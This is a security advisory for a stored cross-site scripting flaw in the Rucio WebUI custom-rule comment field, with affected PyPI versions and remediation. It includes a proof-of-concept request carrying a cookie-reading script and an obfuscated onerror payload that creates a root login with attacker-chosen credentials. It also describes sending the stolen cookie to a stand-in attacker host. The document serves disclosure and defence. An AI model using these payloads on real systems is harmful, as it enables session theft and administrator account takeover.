PYSEC-2026-3058

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Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/rucio-webui/PYSEC-2026-3058.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3058
Aliases
Published
2026-07-13T14:36:38Z
Modified
2026-07-13T16:31:47Z
Severity
  • 7.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N CVSS Calculator
Summary
Rucio WebUI Vulnerable to Stored Cross-site Scripting (XSS) through Custom Rule Function
Details

Summary

A stored Cross-site Scripting (XSS) vulnerability was identified in the Custom Rules function of the WebUI where attacker-controlled input is persisted by the backend and later rendered in the WebUI without proper output encoding. This allows arbitrary JavaScript execution in the context of the WebUI for users who view affected pages, potentially enabling session token theft or unauthorized actions.

Details

A malicious payload supplied in the comment field is stored by the backend. When the rule is later viewed or approved, the stored script executes in the WebUI origin.

Create Path:
Monitoring > Subscriptions and Rules > Request New Rule > Options > Add Comment

Trigger Paths:

  • User Trigger: Monitoring > Subscriptions and Rules > Show My Rules > RULE NAME
    (https://localhost:8443/ui/rule?rule_id=<RULE_ID>)
  • Admin Trigger: Data Transfer (R2D2) > Approve Rules > RULE NAME

Create Request

POST /proxy/rules/ HTTP/1.1
...
{"dids":[{"scope":"test","name":"dataset1"}],"account":"pentest","ask_approval":true,"activity":"User Subscriptions","rse_expression":"WEB1","copies":1,"grouping":"DATASET","lifetime":15552000,"comment":"<script>alert(document.cookie)</script>","asynchronous":false,"notify":"N"}

Response

HTTP/1.1 201 CREATED
...
["c2d675c1979d4549b26eede3531a7e6a"]

Creating RSE with XSS payload in comment Creating RSE with XSS payload in comment

Reviewing rule creation requests Reviewing rule creation requests

XSS Payload triggering on rule review XXS Payload triggering on rule review

Impact

Any authenticated user who views affected resources may execute attacker-controlled JavaScript in the WebUI origin. Depending on the affected feature, this may impact all users or administrative users only.

The impact is amplified by:

  • Session cookies that are accessible to JavaScript (missing HttpOnly flag).
  • API tokens exposed to the WebUI via JavaScript variables.

An attacker would likely attempt to exfiltrate the session token to an external site by setting an encoded version of the cookie as the path of a GET request to an attacker controlled site (i.e GET https://attacker.example.com/rucio/{BASE64_COOKIE}).

Attackers can also perform actions as the victim like creating a new UserPass identity with an attacker known password, creating/deleting an RSE, or exfiltrating data.

XSS Payload to Create Root UserPass

<img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

Remediation / Mitigation

All client-side renderings of server-provided or user-controlled data must ensure proper HTML escaping before insertion into the DOM. Unsafe methods such as .html() should be avoided unless the content is explicitly sanitized. Safer alternatives include .text(), creating text nodes, or using a templating system that enforces automatic escaping.

Additional defense-in-depth measures include:

  • Enforcing a strict Content Security Policy (CSP).
  • Setting the HttpOnly flag on session cookies.
  • Avoiding exposure of API tokens in JavaScript-accessible variables.

Note that many pages were found setting the API token as token in an authenticated response like var token = "root-root-webui-...:" (See /ui/list_accounts for example)

Resources

References

Affected packages

PyPI / rucio-webui

Package

Name
rucio-webui
View open source insights on deps.dev
Purl
pkg:pypi/rucio-webui

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
35.8.3
Introduced
36.0.0rc1
Fixed
38.5.4
Introduced
39.0.0rc1
Fixed
39.3.1

Affected versions

1.*
1.5.10
1.5.11
1.5.11.post1
1.5.11.post2
1.5.12
1.6.0
1.6.0.post1
1.6.0.post2
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.7
1.6.8
1.7.0
1.7.1
1.7.2
1.7.3
1.8.0
1.8.1
1.8.2
1.8.3
1.8.4
1.8.5
1.8.5.post1
1.9.0
1.9.1
1.9.2
1.9.3
1.9.4
1.9.5
1.9.6
1.10.0
1.10.0.post1
1.10.2
1.10.3
1.10.4
1.10.4.post1
1.10.5
1.10.6
1.11.0
1.11.0.post1
1.11.1
1.11.2
1.11.3
1.11.4
1.12.0
1.12.0.post1
1.12.1
1.12.2
1.12.2.post1
1.12.3
1.12.3.post1
1.12.4
1.12.5
1.12.5.post1
1.12.5.post2
1.12.6
1.13.0
1.13.0.post1
1.13.0.post2
1.13.1
1.13.2
1.14.0.post1
1.14.0.post2
1.14.1.post1
1.14.2
1.14.6
1.14.7
1.14.8
1.14.8.post1
1.14.8.post2
1.14.9
1.14.9.post1
1.15.0
1.15.0.post1
1.15.1
1.15.2
1.15.3
1.15.3.post1
1.15.4
1.15.4.post1
1.16.0
1.16.0.post1
1.16.1
1.16.2
1.16.3
1.17.0
1.17.1
1.17.2
1.17.2.post1
1.17.5
1.17.6
1.17.6.post1
1.17.6.post2
1.17.7
1.17.8
1.17.8.post1
1.17.8.post2
1.18.0
1.18.1
1.18.3
1.18.4
1.18.5
1.18.5.post1
1.18.6
1.18.6.post1
1.18.7
1.18.8
1.18.8.post1
1.18.9
1.19.0.post2
1.19.1
1.19.2
1.19.3
1.19.4
1.19.4.post1
1.19.4.post2
1.19.5
1.19.6
1.19.7
1.19.7.post1
1.19.8
1.20.0rc1
1.20.0
1.20.1
1.20.1.post1
1.20.2
1.20.3rc1
1.20.3rc2
1.20.3
1.20.4rc1
1.20.4rc2
1.20.4rc3
1.20.4
1.20.4.post1
1.20.4.post2
1.20.5
1.20.6
1.20.7
1.20.8
1.20.9
1.20.10
1.20.11
1.20.13
1.20.14
1.20.15
1.20.16
1.21.0.dev1
1.21.0rc1
1.21.0rc2
1.21.0rc3
1.21.0
1.21.0.post1
1.21.0.post2
1.21.1
1.21.2
1.21.3
1.21.4
1.21.5
1.21.6
1.21.7
1.21.8
1.21.10
1.21.10.post1
1.21.12
1.22.0.dev1
1.22.0.dev2
1.22.0.dev3
1.22.0rc1
1.22.0rc2
1.22.0
1.22.1
1.22.2
1.22.3
1.22.3.post1
1.22.4.dev1
1.22.4
1.22.6
1.22.6.post1
1.22.7
1.22.8
1.22.8.post1
1.23.0rc1
1.23.0rc2
1.23.0
1.23.1
1.23.2
1.23.2.post1
1.23.2.post2
1.23.4
1.23.5
1.23.5.post1
1.23.6
1.23.6.post1
1.23.7
1.23.7.post1
1.23.8
1.23.9
1.23.9.post1
1.23.9.post2
1.23.9.post3
1.23.9.post4
1.23.10
1.23.11
1.23.11.post1
1.23.11.post2
1.23.11.post3
1.23.11.post4
1.23.12
1.23.13
1.23.14
1.23.15
1.23.17
1.23.18
1.23.19
1.23.20
1.24.0rc1
1.24.0
1.24.1
1.24.1.post1
1.24.1.post2
1.24.1.post3
1.24.1.post4
1.24.2
1.24.2.post1
1.24.3
1.24.3.post1
1.24.4
1.24.5
1.24.5.post1
1.25.0rc1
1.25.0rc2
1.25.0
1.25.1
1.25.1.post1
1.25.2
1.25.3
1.25.3.post1
1.25.3.post2
1.25.4
1.25.4.post1
1.25.5
1.25.6
1.25.7
1.26.0rc1
1.26.0rc2
1.26.0
1.26.1
1.26.1.post1
1.26.2
1.26.4
1.26.5
1.26.6
1.26.7
1.26.7.post1
1.26.8
1.26.8.post1
1.26.9
1.26.10
1.26.11
1.26.12
1.26.13
1.26.14
1.26.15
1.26.16
1.26.17
1.26.18
1.27.0rc1
1.27.0rc2
1.27.0
1.27.0.post1
1.27.1
1.27.2
1.27.3
1.27.4
1.27.4.post1
1.27.5
1.27.7
1.27.9
1.27.10
1.27.11
1.27.12
1.28.0rc1
1.28.0rc2
1.28.0
1.28.1
1.28.2
1.28.3
1.28.4
1.28.5
1.28.6
1.28.7
1.29.0rc1
1.29.0rc2
1.29.0
1.29.1
1.29.2
1.29.2.post1
1.29.2.post2
1.29.3
1.29.3.post1
1.29.4
1.29.5
1.29.6
1.29.7
1.29.7.post1
1.29.8
1.29.9
1.29.10
1.29.11
1.29.12
1.29.13
1.29.14
1.29.15
1.29.16
1.29.17
1.29.18
1.29.19
1.30.0rc1
1.30.0rc2
1.30.0rc3
1.30.0
1.30.1
1.30.2
1.30.3
1.30.4
1.30.5
1.30.6
1.30.7
1.30.8
1.31.0rc1
1.31.0rc2
1.31.0rc3
1.31.0
1.31.1
1.31.2
1.31.3
1.31.4
1.31.5
1.31.6
1.31.7
32.*
32.0.0rc1
32.0.0rc2
32.0.0
32.1.0
32.2.0
32.3.0
32.3.1
32.4.0
32.5.0
32.5.0.post1
32.5.1
32.6.0
32.6.0.post1
32.7.0
32.8.0
32.8.1
32.8.2
32.8.3
32.8.4
32.8.5
32.8.6
33.*
33.0.0rc1
33.0.0rc2
33.0.0rc3
33.0.0
33.1.0
33.2.0
33.2.1
33.3.0
33.4.0
33.4.0.post1
33.5.0
33.6.0
33.6.1
34.*
34.0.0rc1
34.0.0rc2
34.0.0
34.1.0
34.2.0
34.3.0
34.4.0
34.4.1
34.4.2
34.4.3
34.5.0
34.6.0
35.*
35.0.0rc1
35.0.0rc2
35.0.0
35.0.1
35.1.0
35.1.1
35.2.0
35.2.1
35.3.0
35.4.0
35.4.1
35.5.0
35.6.0
35.6.1
35.7.0
35.8.0
35.8.1
35.8.2
36.*
36.0.0rc1
36.0.0rc2
36.0.0rc3
36.0.0rc4
36.0.0rc5
36.0.0
36.0.0.post1
36.0.0.post2
36.1.0
36.2.0
36.3.0
36.4.0
36.5.0
37.*
37.0.0rc1
37.0.0rc2
37.0.0rc3
37.0.0rc4
37.0.0
37.1.0
37.1.0.post1
37.2.0
37.3.0
37.4.0
37.5.0
37.6.0
37.7.0
37.7.1
38.*
38.0.0rc1
38.0.0rc2
38.0.0rc3
38.0.0
38.1.0
38.2.0
38.3.0
38.4.0
38.5.0
38.5.1
38.5.2
38.5.3
39.*
39.0.0rc1
39.0.0rc2
39.0.0
39.1.0
39.2.0
39.3.0

Database specific

source 
"https://github.com/pypa/advisory-database/blob/main/vulns/rucio-webui/PYSEC-2026-3058.yaml"